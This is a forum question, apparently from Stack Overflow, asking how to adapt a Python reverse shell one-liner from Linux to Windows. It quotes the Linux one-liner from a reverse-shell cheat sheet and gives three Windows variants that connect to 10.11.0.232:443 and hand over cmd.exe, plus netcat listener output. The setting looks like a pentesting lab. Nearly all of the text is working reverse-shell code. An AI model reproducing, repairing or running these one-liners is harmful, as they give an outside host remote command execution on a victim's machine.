title: Python windows reverse shell one liner
body: <p>Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner).</p>
  
  <p>I am trying to modify the one for Linux which I have used many times but this is my first time for Windows.</p>
  
  <p>Linux one liner : </p>
  
  <pre><code>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  </code></pre>
  
  <p>Taken from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet" rel="noreferrer">Reverse Shell Cheat Sheet</a>.</p>
  
  <p>So here is what I have been able to do so far: </p>
  
  <pre><code>C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"
  </code></pre>
  
  <p>Well, the thing is I do get a connection back just that the shell dies. Anyone knows how to fix this or offer some suggestions?</p>
  
  <pre><code>nc -lvnp 443
  listening on [any] 443 ...
  connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036
  </code></pre>
  
  <p>So the parameter to <code>subprocess call</code> must be wrong. I can't seem to get it right. </p>
  
  <p>The path to <code>cmd.exe</code> is correct. I can't see any corresponding parameter like <code>-i</code> in the <a href="http://ss64.com/nt/cmd.html" rel="noreferrer">cmd man page</a>.</p>
  
  <p>Can anyone point me in the correct direction, please?</p>
  
  <p><strong>EDIT:</strong> Tried without arguments to subprocess call but still the same result. The connection dies immediately.</p>
  
  <pre><code>C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);"
  </code></pre>